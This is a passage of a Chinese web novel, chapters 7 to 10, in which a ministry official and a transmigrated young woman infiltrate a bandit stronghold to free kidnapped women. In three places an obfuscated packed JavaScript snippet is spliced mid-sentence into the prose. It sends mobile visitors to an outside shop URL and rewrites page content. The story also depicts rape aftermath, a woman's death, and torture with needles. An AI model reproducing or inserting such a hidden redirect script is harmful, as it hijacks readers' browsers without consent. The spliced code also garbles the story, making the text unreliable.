齐越白与凌婵二人走后,邬涟抬眸:“我何时说过我还留有后手了?” 叶冬知一脸无辜地看向对方,“你不就是想让他们离开吗,反正达到目的就好了呀。” 邬涟没再看她,开始查看匪徒还未来得及清理干净的痕迹。 叶冬知凑上去,指着一处车辕碾过的湿泥,朝邬涟道,“这里竟然还能进来马车,肯定还有我们不知道的密道。” “嗯。” 对方点头。 得到认可的叶冬知不由得在心里暗赞自己竟还有查案的天赋。 正想着,身后的人冷不丁出声,“等会你也离开。” “为什么?” 叶冬知不忿,毕竟刚才在重重机关里她不仅没掉链子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525150|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还发挥了不可忽视的作用好吧。 怎么也不算拖他的后腿。 邬涟抬头,见对方瞪着一双清凌凌的眼睛,正埋怨地看着自己。 他耐心解释道:“带上你我得保证你的安全,难免有顾忌,做起事情来会畏首畏尾。” 虽然他说的是实话,但落在叶冬知耳朵里可不中听。 她轻笑一声道:“那你怎么敢确定,你不带着我,我就是安全的?” 邬涟转动墙壁上的一盏灯,一条隐秘,可容纳三人并行通过的密道显露在眼前。 “这里的西南方向四里处,有刑部的暗哨,他们会保证你的安全。” 话落,他已经钻进了密道。 叶冬知也只好跟在身后。 她很不高兴。 明明她的任务刚有点进展,邬涟却要硬生生掐断。 她是穿越过来做任务的,又不是旁人会被邬涟这刑部侍郎的名头给唬住。 她才不要听他的,否则等她在这个世界老死,她的任务都完不成。 这条密道比刚才进来的通道宽敞平整得多。 但因为是在深山老林中,不免会出现一些蜈蚣蜘蛛之类。 叶冬知盯着一条拇指粗的蜈蚣从她脚边爬过,她睨了一眼前面人的背影,然后将手指递在蜈蚣面前。 一道剑气扫过。 眨眼间,蜈蚣被人斩断。 她笑眯眯地从地上蹲起,“哥哥真厉害,我都还没发现呢。” 闻言,邬涟收了剑,皱眉,“这山间蜈蚣有毒,你是故意的。” 叶冬知绕到邬涟身前,向前走着。 “我可不是故意的,我只是没察觉到,毕竟像我这样不会功夫的人,不小心被蛇咬了,被野蜂蛰了,又或是脚滑摔进山谷,都是很正常的,不是吗?” 话落,她突地顿住脚步回头,神情无辜,两侧垂落的碎发在脸颊旁,无风自动。 邬涟闭了闭眼,唤她。 “叶冬知。” 语气沉而重。 这是他第一次以这样的语气叫她的名字。 “你拿自己的命开玩笑很有意思吗?” “你知道我不会眼睁睁看着你受伤,你就用这样的方式来逼我就范吗?” 换做旁人,邬涟这般,早就吓得不敢吭声。 但叶冬知并不害怕,她走近几步仰头,几乎是要贴着他的下巴。 “所以,你会就范吗?” 邬涟这样的人,责任感极强。 身为人子,他有义务保证继母的安全。 就算她叶冬知今日只是个毫不相干的路人,既然是因他卷进来,那他也会护着其安全离开。 所以,他只能退步。 事实也果真如此。 几息后,邬涟面无表情从她身侧走过,“跟紧我。” 达到目的,心情颇好的叶冬知甜甜应了声。 “好,都听哥哥的。” “不要叫我哥哥,那二人已经离开,你无需再为我遮掩身份。” 前方的邬涟冷声又道。 真是呆板。 叶冬知在心里嗤了声。 但见好就收的道理她懂,真把人逼狠了,适得其反可不好。 “知道了,大公子~” 她懒散跟在他身后,漫不经心地吊着尾音。 女子的声音在悠长空荡的密道荡起一阵回音。 明明所有人都这样叫他,她也听话地改了称呼。 可不知为何,他心头仍生出一些寻不到由头的燥意。 8. 第 8 章 沿着密道走了许久,出来时,天已经蒙蒙亮。 洞口被碎石堵住,又以各种枝叶覆盖,可见这群匪徒的谨慎。 邬涟看向新鲜的车辙,知道人才走了没多久。 二人一路沿着车辙的印迹追过去。 不多时,便见一悬崖处堆放着遗弃的马车。 而悬崖对面,两道石壁高高矗立,中间一条小道蜿蜒至深处,隐约可见零星的烛光与做饭的炊烟。 看来,这便是那群匪徒的另一个老巢。 悬崖陡峭,靠人力无法过去,唯有对面的人打开机关,将吊桥放过来,才能通过。 难怪那群匪徒有恃无恐,果真是步步为营、危险重重。 为今之计,强攻不得,只能先进去走一步看一步。 但如何进去,成了难题。 思忖片刻,叶冬知有了主意。 “大公子,我倒是有个主意进去。” 邬涟意外地看她一眼,“你说。” 叶冬知眨眨眼睛,颇有些自得,“他们连夜逃到此处,想必肯定是来不及通知所有人的,定会有一批人还在外面。” “所以,我们可以扮成他们的人,诱使他们把吊桥放下来。” 邬涟并不赞同,“对方必有暗号,我们不知,如何假扮?” 叶冬知老神在在地拍拍他肩头,引得对方瑟缩一下。 她撇嘴,又道,“谁说要扮成他们自己的人了,就不能扮成被他们拐走的女子吗?” 这次邬涟倒是没有反驳,沉默思索着这个方法是否可行。 “谁来扮这个女子?” 叶冬知指指自己,“我啊,不现成的吗。” “不可。” 邬涟又吐出那两字。 叶冬知瞪着他,“这不是有你在吗。” 对方垂眸,语气严肃认真,“我也有顾忌不到、疏忽的时候,你不能将自己的身家性命寄托在我身上。万一你发生意外,你要我如何向义父交代?” 邬涟说的不无道理。 可偏偏就是有道理,才让叶冬知生出一肚子气。 她既然都走到这一步了,中途要是又被他送回去,还做什么任务。 怕是这一趟邬涟回来,她又好久见不到人,那点微末的进展又要全部归零。 现在她那便宜丈夫永定侯还没回府,不抓住这个时机多肝,等那老登回来还攻略个屁啊。 而且,她一点也不想嫁给老头。 她憋了一肚子火,捡起两块石头狠狠砸向悬崖下面。 邬涟像是没看见她的不满,只说:“走吧。” “去哪里?” 叶冬知心里不舒坦,说话也冲。 对方却始终语气平和,“找凌姑娘去。” “你是打算让她来假扮?” “是。”邬涟并不瞒她,“凌婵姑娘长相出众,又有武功傍身,万一有什么意外,也可应付一二。” 叶冬知跟在身后,说出自己的顾虑,“你以为那些人是傻子吗,凌姑娘是习武之人,姿态神情与普通女子不一样,但凡懂点功夫的人都能一眼出来。” “我知道,但眼下已经别无选择。”说着,他回头,“多等一刻,那些被拐走的女子便多一分危险。” 京都。 城南,悦来客栈。 听完叶冬知两人的来意,凌婵只略一思索,便点头应下,“好,我们马上出发!” 邬涟拦住她,“不急,先换身衣服,才好引蛇出洞。” 现下是白日,那些人定不会光明正大行动。 直到晚上,换了身普通女子衣衫的凌婵才出门,逛了好几条小巷,等着那伙匪徒上门拐她。 许是凌婵的气质太过凌厉,不似普通女子,在外面兜了好几圈也没有人上钩。 另一边,邬涟安排了马车送叶冬知回府,等侯府的人到了地点,却根本没看到人。 叶冬知翻出窗户,寻了家成衣铺子,随便买了身衣裳换上。 原身自小便被娇养,看起来娇弱又胆怯。 果然,没走多远,便听到身后传来一阵很轻的脚步声。 她低头继续往前走。 来了! 身后的男子正要故技重施,用撒了药的帕子蒙住她口鼻,却被突如其来的剑气划伤了臂膀。 男子闷哼一声,怒喝:“谁偷袭老子?滚出来!” 小巷的尽头立着一人,面具下的眉眼隐有不悦。 他朝着叶冬知走来,“为何不听安排?” “若是我没有及时赶到,你可知你会面对什么?” 叶冬知眉眼弯弯,“想必凌姑娘那边没有成功吧,不然大公子哪有闲心来找我。” “我虽然不听安排,但确实引出了这条蛇不是吗?” 邬涟不语,将人打晕绑好后,沉声抱怨。 “你总这样。” 从前,他在府中,所有的事都由他一手安排,不论是弟妹,下人,没有不服的。 而后做了刑部侍郎,刑部里的人更重规矩和律法,对他的命令也莫敢不从。 他晓得自己的责任,是以所有的安排都留有后手和转圜之地。他也习惯一切都在掌控之中。 唯有叶冬知,总是把他说的话当做耳旁风。 戏弄他的时候是,遇到危险也是。 今夜若不是他提前派了暗卫跟着她,还不知她竟一个人偷偷跑出来了。 叶冬知只当没察觉到他的情绪,反而嬉皮笑脸凑近他问,“看来,大公子很了解我呀。” 邬涟不想搭理她,提着人默默走在前面。 与叶冬知不同,叶冬知生气时,什么都在脸上。 但邬涟生气时,看起来和平常没什么差别。 脸上既没有情绪,说话也依然是冷静平和的,并且还要压着情绪有条不紊地处理许多琐事。 本来,叶冬知惊讶于自己竟然有让邬涟生气的本事,是打算欣赏一会他生气的姿态的。 但转头一想自己有任务,只得耐着性子哄他。 她从身后拽住他腰封,邬涟脚步一顿。 他转头,语气冷硬,“身为未出阁的女子,扯男子腰带成何体统。” “叶小姐,我只是尊重你是义父未过门的妻子,这并不意味着你可以一而再、再而三地戏弄我。” 啊。 好像更生气了。 叶冬知收了手,不忿地盯着他,“凶什么,跟要吃人一样。” 邬涟定定看她一会,下颌紧绷,似乎是还想说什么,但触及到她的眼神,又将话咽了回去。 两人就这样一前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525151|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,心照不宣地沉默着。 拐过一处街角,叶冬知脚步声陡然急促起来,朝着另一个方向跑去。 邬涟转头眉头一皱,只看见对方荡起来的一处衣角。 他心中又生出些许烦闷。 自从上次落水之后,她就像是闲不住一般,一个没看好,就会干出些莫名其妙的事来。 无法,他只得暂时唤出暗卫,让人将昏迷的匪徒领回客栈。 他自己循着叶冬知消失的方向追了过去。 事实上,叶冬知是真没想干什么莫名其妙的事。 只是她从昨日被拐到现在都还没好好吃过一顿饭呢,有事干的时候倒不觉得饿。 但刚刚她瞥到一处面摊,传来的香味勾人得紧,让她的肚子也咕咕叫唤。 本来她是想问一下邬涟要不要也吃点东西,可对方冷着脸,走得又快,显然是不想理会她。 她又不是傻子,非要去热脸贴别人冷屁股,天大地大,还是吃饭最大。 面摊的老板是个中年男子,看见有客人来连忙热情招呼。 叶冬知点了一碗牛肉面,便坐下来等着面煮好。 很快,热气腾腾的面条上了桌,叶冬知拿了筷子正准备尝上一口,却在萦绕的白雾中看见了邬涟。 他取了面具,脸色有些沉,一言不发地盯着她。 叶冬知不明所以,没吭声,只专心翻拌面汤,让每根面条都裹上料汁。 邬涟难以描绘此刻的情绪。 他其实不明白,为何方才她一离开,他就赶紧交代好事情追了上来。 他仔细回忆当时的心情。 有些慌,又有些闷。 若说因为什么,他皆不知道。 此刻看见她安然无恙后,那些慌乱消失了,但他仍要提醒她: “你若是想吃东西,应当知会一声,不应自己一个人离开。” 叶冬知吃了口面,有些不爽。 “我又不是你的下属,怎么,我吃个东西还要和你报备?” “那是不是今后我洗澡、睡觉、方便,都要大公子应允才能做了?你管得也太宽了吧。” 邬涟顿了一下,“我不是这个意思。” 他只是担心她再遇到不测而已,毕竟这两天,她已经做出许多让他始料未及的事了。 可对方却不领情,反而振振有词。 “我想出了办法混入匪徒内部,又以自己为饵抓到了人,我在帮你解决问题呢,你还天天拉着个脸摆脸色。” “是,你说的我都知道,我也并非对你有不满,反而应当感激你为这个案件的付出。”邬涟不由得语速快了几分,“但如今义父不在,我有责任——” “砰!” 叶冬知放下碗,打断了他的话,“我吃饱了,你吃不吃?” “不必,我不饿。” 她很快接话,没给邬涟多说一句的机会,“哦,那好吧,回客栈吧。” 话落,她冷着脸,快步走在前头,耳侧的碎发随着步伐荡起弧度。 邬涟:“......” 好奇怪。 明明该生气的是他。 但她怎么满脸写着不悦。 她又为何生气。 可他说的每句话都是肺腑之言,并无半点冒犯之意。 9. 第 9 章 两人各怀心思回了客栈。 推开门,那匪徒正被绑在椅子上,满目警惕,明晃晃的两个巴掌印印在脸上。 一见到叶冬知和邬涟两人,齐越白便忍不住道: “唉,你俩可算回来了,刚刚这厮嘴里藏了毒,想要服毒自尽呢,被我们发现了。” 叶冬知指指巴掌印,“这是怎么回事?” 凌婵在一侧抱臂,冷哼,“我打的。” “我一想到他们祸害了那么多女子,我就没忍住。” 眼下凌婵做诱饵虽没有成功,但绑回来了人,兴许改变一下计划也能成事。 想着,叶冬知道:“方才这人想将我绑了去,但哥哥及时赶到没让他得逞。不如我们从这人口中套出接头暗号,由哥哥假扮他,带着我去匪徒的老巢,如何?” 齐越白眼睛一亮,拍手道,“我看行!叶小姐这个计策甚妙!” 椅子上的匪徒啐了一口,“你们休想!我才不会说出暗号!” 凌婵听得心烦,反手又是一巴掌,揪住匪徒的领子恶狠狠道,“他们都是正经人,做不出来恶事,但本姑娘可不管,你要是不说,我让你尝尝江湖上的规矩。” 语罢,她从袖中掏出一套银针,从中抽出一根,狠狠插进了匪徒的指尖。 顿时,匪徒发出一声凄厉的惨叫。 不多时,匪徒便扛不住,说出了暗号昏死过去。 叶冬知看得皱眉,偏过头去,正对上邬涟的视线。 一想到两人还在冷战,她又侧了身,只留个后脑勺。 自从抓住匪徒后,邬涟心中已另有算计。 还未等他说出来,叶冬知已先行安排好了一切,令他倒是十分意外。 他竟不知,从前只会哭哭啼啼的闺阁小姐也有这样的谋算。 本来他是想再劝劝她不要跟着去的,但想起前几次他越说她越不听,只好作罢。 “既然已经套出暗号,那就收拾一下出发吧。” 叶冬知点头。 这时,凌婵出声,“我和你们一起去,多个人总有个照应。” 邬涟摇头,“凌姑娘心意在下心领,此番另有要事麻烦二位,仅靠我一人无法将匪徒一网打尽。” 说着,他从怀里掏出一枚玉佩递给凌婵,“你们拿着这信物到永安巷的铁匠铺寻一叫庄三的人,将遇到的情况告知他,他会知道怎么做。” 凌婵与齐越白对视一眼,未再多言,快速离开。 二人离开后,邬涟解开匪徒身上的绳子,开始脱对方身上的衣服。 脱到一半,见叶冬知立在一旁,仍旧没有避嫌的意思,他忍不住道:“叶小姐,还请转过身去。” 叶冬知瞪他一眼。 好在刚才他没有反驳她,也没有再要求她回府,她心里的气已经顺了许多。 所以此刻,她还是愿意大发慈悲好好说话的。 “只是脱了外衣,这也不能看吗?” “而且这么个男的,那么丑,有什么可看的?” 说着,匪徒悠悠转醒,刚好听到那句“那么丑”,气得脸红,“你这婆娘真是没眼光,寨子里的人都说我长得俊!有男子气概!” 叶冬知无语,借着烛光好好打量这厮,只见对方方脸粗眉厚唇,再加上塌鼻和满脸的痘坑,她忍不住“咦”了声,“我说大哥,没镜子总有尿吧,照照再说话呢,还是说你尿黄照不出?” 邬涟从小长在世家,不论是家中长辈还是先生,教导他身为君子当言行得体文雅,是以当他听到这么粗俗的话时,眼睛微微睁大,有些不可置信。 “叶小姐,慎言。” 地上的匪徒被叶冬知一番话气得不知说什么,只能从嘴里发出“你你你”几个字,没等他继续说,又被邬涟一个手刀劈晕。 当然,身为克己守礼的典范,邬涟自是没忘记再次提醒叶冬知,“此人是外男,你尚未出阁,还请回避。” 叶冬知不想再听他唠叨,听话地转过身望着窗外。 但她嘴没闲着,不忘讽刺一下这位守礼的大公子,“以前怎么没发现大公子这么爱说话呢,要我说,大公子是不是麻雀转世,天天‘叶小姐’‘叶小姐’的。” 邬涟听见了,但不打算与她计较。 最开始时,他以为她是个安静乖巧的性子,顶多有时候会戏弄他,这也就罢了。 没想到熟悉一些之后,才发现她嘴上功夫这么厉害。 他既没听过她口中的有些词,也不知道如何应对她的话,索性就闭嘴不再说话。 将匪徒身上的外衣脱下,他准备脱下自己的外衣将其换上。 但一想到身旁的人,他默了一瞬,将衣服拿到了房内的屏风之后。 身后的人没了动静,只听得一阵衣料摩擦的声音。 叶冬知猜测邬涟正在换衣服。 她突然想起系统的任务,于是起了心思朝着屏风处走去。 虽然两人之间隔着屏风,但依稀能透过这层薄薄的布料窥见对方的身形。 屋内四处都点了蜡烛,在靠近屏风处,有一盏与人一般高的灯,蜡烛被罩在灯罩里。 灯罩雕刻着花纹,那些光便从花纹缝隙之中泄出。 明明灭灭照在屏风后的人身上,影子也正好映在屏风上。 邬涟虽穿着里衣,但布料柔软贴身,因此,身形映在屏风上,恍若未着一物。 屏风上的影子肩宽而平直,臂膀结实有力却不显得过于壮硕,再往下是微微凸起的胸膛,里衣贴在胸前,里面的两粒红豆抵在布料处,本身并不明显,但由于影子被放大,那处也能看出微弱的起伏。 好涩。 叶冬知不由想着。 她本来也不是什么清心寡欲之人。 欣赏完他的胸肌,她的视线又来到紧窄的腰腹处。 兴许是邬涟常年习武,那处地方的线条格外紧致漂亮,随着他的动作更添几分勾人。 诶。 怪不得男人喜欢黑丝,这若隐若现的,确实别有一番滋味。 如今她也是深有体会。 还未等叶冬知细细品鉴他的下半身,邬涟听到她迫近的脚步声,连忙伸手去拿搭在屏风上的外衣。 可等他要扯下来时,却拽不动。 屏风那头传来女子的低语。 “之前骑马时便觉得大公子的身形极好,可惜那时候没来得及细细感受,现在即使没有摸着,光是看着也能叫人赏心悦目啊。” 语罢,她唇齿间又溢出一声类似于低吟的感叹。 那一声,将邬涟刻意忽略的记忆尽数带了出来。 这段时间,他忙得脚不沾地,没有余力再去思考与她有关的事。 可现下她就在他的面前,逼得他不得不想起那张唇曾说过多少让他难为情的话。 令人面红耳赤的称呼,隔着衣料相触的灼热肌肤,都一字不差、一点不落地在他脑中清楚地回想了。 甚至于她当时的情态都如此清晰。 他不明白,但又难以控制这些上涌的记忆。 半晌,他紧紧攥着衣角,抿唇,“不要玩闹。” 好在对方很快松了手,只是话语中似乎还有些遗憾,但更多的是调笑。 “哎,可惜还没看到大公子的下半身呢。不知道,某些地方是否也如大公子的容颜一般令人惊艳呢。” 随着她的话,他几乎能感觉到她的视线隔着屏风落在了他双腿之间的某个部位上。 精准,大胆,玩味,毫不避讳。 “轰”地一声,他脑中恍若有什么东西炸开。 浑身血液沸腾着,齐齐涌上他的脸,叫他又燥又闷。 尽管他刻意去曲解她话中的意思,但那样直白和调侃的语气令他不得不多想。 邬涟闭了闭眼,眼睫颤动不已,浑身几乎要因为她出格的话战栗起来。 她怎能、怎能如此寻常地说出这样的话来。 那些孟浪的词,那样轻浮放纵的语气,每每都令他无所适从! 若只是议论他的身体便罢了,左右她也不是第一次说。 但那处...... 她到底知不知道男女有别?是否还谨记二人各自的身份,即便是未婚夫妻,也断然做不到她这般。 他想义正言辞地再次提醒她各自的身份。 但她向来左耳进右耳出,说不定还会借机说出更多令人无地自容的话来。 还有,若是说话,他更害怕她发现他此时不稳的语调和慌乱的心跳。 他不敢再想,迅速扯下衣服。叶冬知还没看清他的动作,对方就已经将衣服穿好了,自屏风后走出来。 他压下呼吸,与她拉开些距离。 不得不说,“郎艳独绝”这四个字,邬涟确定配得上。 纵然是普通的外裳,一看便廉价的布料,但穿在他的身上,依然无法掩盖他周身那清冷如冰的气质。 他站在灯 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他正要跳过这个话题,说些等会要干的正事,但对方忽地语调拔高,像是发现了什么不可思议的事一般。 “大公子,你的耳垂好红!你不会是被夸了害羞了吧!” 不仅如此,她还垫着脚凑上前来,稀奇地在他耳边看来看去。 邬涟不禁屏住呼吸。 好近。 近得几乎要贴在他身上。 她的发顶蹭着他的下巴,毛茸茸的,有些痒。 连带着她身上温软的气息,夹杂着发香都一齐涌入他的鼻腔。 往日平静的心绪莫名躁动起来。 他垂眼看着面前的女子。 在外面走了一圈,无论是她的发髻还是衣衫,皆有些微微的凌乱。 但她好像与其他闺阁女子很不一样,从不在意这些。 便如此刻。 他轻而易举就能看见她敞开的领口,锁骨处有一颗红痣,映在白皙的肌肤上格外显眼。 再往下,是她小衣的颜色,是嫩黄色的,起伏的曲线被包裹着,引诱着人往更深处探去。 他克制地移开视线,视线微微错开,落在她不盈一握的腰肢上。 好细。 邬涟攥了攥拳。 ......好像他一只手就能握住。 以往叶冬知调侃邬涟时,对方总会一本正经地训斥于她。 就连一个称呼他都斤斤计较,但今日她说了这样的话,按理来说,他应该早就躲开她的靠近,然后语气冰冷地让她自重了。 可是,预想中的斥责迟迟没有到来。 叶冬知有些奇怪地抬头,额头迅速蹭过一抹柔软。 温热的,不同于对方平日展露的态度。 很快,她意识到那是什么。 紧接着,她的唇也极轻地蹭过对方的下巴。 一触即离。 她有些惊慌地去看对方的神情,却对上他刚好上移过来的视线。 还是那样冷,但似乎又有些不同。 叶冬知摸着唇退后一步,试图为自己辩解。 “我、我不是故意亲你的,那是不小心蹭到了。” 啊啊啊要命。 虽然她嘴巴上老是说各种荤话,但事实上,她在现代也只是个连男生手都没牵过的雏鸡啊。 说话可以,但你说真要做点啥,她能比谁都慌。 更何况,被她冒犯的还是冰清玉洁的永定侯大公子啊。 这是谁,这可是京都万千少女的梦中情人,在这个男子十二岁就纳妾的朝代,活了二十三年,还保持着处子之身的男人。 她忐忑地看向面前的人,默默等待着他即将到来的严厉训斥。 但对方只是怔了一下,然后迅速转过身去。 语气如常对她道,“无事,走吧,该出发了。” 叶冬知松了口气,要不说别人年纪轻轻就身居要职,果然胸怀宽广啊。 思及此,她也放下忐忑,正主都没计较,她不好意思个屁。 她几步走到邬涟前面,“那我们快点,已经耽搁了不少时间了。” 邬涟不语,跟在她身后。 月色真好,银灰色的光洒在她身上,照在她的耳垂之上。 那块白嫩娇弱的肌肤,正挂着一颗水粉色的珍珠,随着她的步伐晃动。 一如她的唇色,娇艳润泽。 10. 第 10 章 邬涟与叶冬知二人快行至那处悬崖时,为免露出破绽,皆还需仔细乔装一番。 叶冬知抓起地上的泥土擦在脸上,又用手帕将自己的嘴塞住,随后将头发扯散,衣襟扯乱,营造出一副她曾奋力挣扎过的样子。 而邬涟除了穿上匪徒那身衣衫之外,还找了块布将下半张脸蒙了起来,只露出一双黑沉沉的眼睛。 至悬崖边时,邬涟放了一支特别的烟花,这是那群匪徒用于联络的信号。 果不其然,片刻之后,在两侧高耸的石壁之间,两个人影举着火把从中间那处狭窄的通道走出,皆穿着和邬涟一样的外衫。 但对方并未放下吊桥,而是等待着邬涟给出接头暗号。 这群人接头的暗号是一连串复杂的手势,而暗语就藏在这串手势之中。 邬涟自小聪颖,几乎有着过目不忘的本领,是以,这串手势他很快便顺利地打了出来。 叶冬知站在一侧,看见他修长白皙的指节翻飞,细腻的肌肤在月色下显出羊脂玉一般的色泽来。 手势打完,对面的人启动机关,一座吊桥自那头缓缓放下,连通了整个悬崖。 通过悬崖后,跟着两个匪徒从狭窄的通道进入,才算真正进入了这群匪徒的老巢。 由于在入口处有两道如天堑一般的石壁阻挡,让人无法窥见后面糜乱、残忍的景象。 这里的建筑都利用了坚固的山体,再加上木头等材料,搭建起了一个个房屋。 前面的房屋简陋破败,不时从半掩或大开的房门中传来男子的□□和女子的惨叫。 突然,一阵重物坠地的声音响起,一个女子浑身赤裸被人从二楼扔了下来。 身体遍布红痕,下身更是凄惨不堪,她无力地躺在地上,双眼麻木,口中不断溢出鲜血,拽住了叶冬知的衣摆,用尽最后力气道:“快......跑......” 叶冬知身体顿时僵住,女子话还没说完,就已经咽了气。 两个放下吊桥的男子此刻在前面引路。 见此情形,其中一个猥琐的视线落在叶冬知惊恐的脸上,嘿嘿一笑对邬涟道:“你这次带来这个倒是个极品,长得这么绝色,胆子也够大,以前来的那些,光是看见就吓晕了哈哈哈哈哈。” “正好,大当家最近又要纳妾,就喜欢这样的,这女人要是上了大当家的床,你就等着领赏吧!” 叶冬知嫌恶地皱眉,将头别到一边。 身侧的邬涟微微偏头,用余光撇了她一眼,手指在袖口下微动。 “啊——” 一声刺耳的尖叫顿时冲破天际。 刚还在说话的男子突然摔了一跤,然后捂住一只眼不停哀叫。 另外一人连忙查看,发现对方不小心摔倒,正好眼睛磕在了一块尖锐的石头上。 看这血流不止的样子,估计眼睛是废了,于是对邬涟道:“还是老地方,你先自己去吧,我带着麻子去包扎一下。” 邬涟微微点头,叶冬知也松了口气。 这两人离开,正好方便她们行动。 此处虽然难以进入,但内部管理混乱,手下不思进取,整日淫乐。 她垂着头,正腹诽着,耳旁传来一道清冷如玉的声音,与这里男子的淫言秽语格格不入: “若是不舒服,就别看。” 与此同时,一截袖子挡住了她的目光,丝丝缕缕的冷香萦绕在她口鼻,冲散了这里的淫靡气息。 不多时,两人拐入小路。 从刚刚的所见所闻可以判断,被拐来的女子,姿色一般的便被寨子里的男人轮番糟蹋了,姿色好的便是留给寨子里有地位的人挑选,或者是重金售卖给有特殊癖好的达官贵人。 这些女子多是普通出身,无权无势,这群匪徒才如此肆无忌惮。 叶冬知低着头往前走,只觉心里沉甸甸地像压了块石头,这些女子,本可以安稳地生活,却因为这些人毁掉了一生。 她将手帕拿出来,重重叹了口气,随即想起来此的目的,只得继续打起精神。 “接下来我们去哪里,刚刚那人说的‘老地方’是何处?” 邬涟抬头打量四周。 他从刚刚进来,已经迅速摸出了整个寨子的规模和人数,并在脑中记下了路线。 “老地方”,他猜测应该就是关押这群女子的地方,很可能是一处地牢或者其他隐蔽之所。 叶冬知看着面前的人沉默不语,周身气息沉静,她的心也随之缓缓地静下来。 随即,邬涟指了指不远处,那处有一扇厚重的门,门口守着六个高大魁梧的人。 与其他地方不同,这里没有污言秽语和嬉笑声,气氛凝重,不难猜到里面有要紧的东西或者人。 “应当就是这里。” 语罢,他寻了一处角落,掏出随身携带的纸笔,迅速描绘了一张路线图,然后拿出一块木块,不知触碰了什么,那块木块变成了一只简陋的小鸟。 邬涟将纸条塞进小鸟的体内,随即小鸟便颤颤巍巍地飞了起来。 叶冬知看呆了,这是什么东西? 对方似乎看出她的震惊与好奇,耐心解释道:“机关术,我曾在幼年自学过一些皮毛。” “方才我将这里的部署和路线都告知庄三,让他们有所准备。” 叶冬知眼睛亮亮地看着他,只差没把“牛逼”二字说出口。 邬涟眼睫颤了颤,转身朝着那厚重的门走去。 叶冬知明白她的意思,紧随其后。 片刻后,看门的六个男子查看了邬涟手中特质的令牌,便开了门放两人进去。 地牢不大,走过一条下沉的通道便一览无余。 两旁燃着灯,尽头处关押在几十个美貌女子,都蜷缩在一起。 听到脚步声,那些女子惊恐地看着入口,死死低着头,害怕自己是下一个被拉出去泄欲的目标。 直到邬涟与叶冬知停在地牢门口,这群女子仍然不敢抬头。 很快,邬涟打开了门,示意她先进去。 在来的路上,他们就已经简单商量好了对策,叶冬知的作用只是让邬涟可以顺利进入匪徒的老巢,等进去之后,她便和被拐的女子待在一起,安抚人心,而邬涟则是暗中擒住大当家,再由凌婵、齐越白二人带着庄三一行人攻入寨子,擒住所有贼寇。 随着邬涟的脚步消失,那群女子总算略微放松了紧绷的神经,开始打量起刚进来的叶冬知。 与她们相比,叶冬知显得从容许多,她主动接近众人,告诉了这群女子营救的计划。 众人闻言,皆惊喜不已,有个别忍不住哭了出来。 好在大家听完之后都只是默不作声,打起精神,听着外面的动静。 时间一点一滴过去,直到后半夜,外面突然响起一阵激烈杂乱的脚步声。 紧接着传来各种兵器相撞的声音,以及起伏不停的惨叫声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525153|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大约一个时辰后,外面的动静终于平息。 “哐当”一声。 地牢厚重的铁门再次被拉开,一个颀长的身影缓缓步入。 外面天色已经微亮,浅薄的日光裹着清晨的雾气涌进来。 邬涟依旧穿着那件外衫,只是已经摘了面巾,露出那张夺目的脸。 他打开牢门,那些女子便争先恐后从里面钻了出来,外面有官府的人,会将她们安全交到家人手中。 走在最后的一个女子频频回头,最后她像是鼓起勇气,跑到邬涟面前站定,红着脸道: “这位公子大恩大德小女子无以为报,只是还不知公子名讳,待小女子到家定然报答。” 邬涟只冷漠道:“不必,职责所在。” 那女子抬头看了一眼邬涟的脸,又飞快地低下头,脸红得像是煮熟的虾:“那公子可、可有婚配?” 叶冬知倚在门边但笑不语,一副看笑话的模样,“说呀,别人姑娘问你呢。” 邬涟侧目看她,只见她满脸揶揄,丝毫没有任何不悦。 他心里忽然有一点不舒服。 但他不知道这点不舒服是为何而来,就像他也不明白他理所应当地认为对方应该不悦一样。 半天不见对方回答,女子也已知道他的意思,只得掩下心中失落,快步跑了出去。 叶冬知见状幽幽叹气,“你可真是木头,又伤了一个姑娘的心,啧,真是无情。” 邬涟回头看她,眼神冷漠,态度却认真。 “我对她无意,若是应了她,她往后必然更是失望,这才是无情。” “若是无意,不该开始,更不该撩拨。” 说到后面那句,他声音低了许多,也不知是说给谁听。 但听清楚的叶冬知却有些心虚,她尴尬地笑了笑,然后伸手指了指自己的右脸。 “大公子,你这里受伤了吗?” 一滴殷红的血珠落在那处白皙无暇的肌肤上,仿若玛瑙坠在玉石之上,平白给他添了几分媚色。 邬涟手动了动,正要拭去,面前的人忽然倾身上前,拿着手帕擦掉了那处血迹。 动作很轻,很细致。 脸颊上微微的刺痛和痒意,裹着她呼吸喷出的热气,都一并化成酥麻,细细密密钻进他的躯体。 方才厮杀鼻间充斥的血腥味,被她身上温甜的气息所覆盖,令人不禁有些心猿意马。 他蓦然后退一步,喉咙有刹那发涩。 “不必,我自己来就好。” 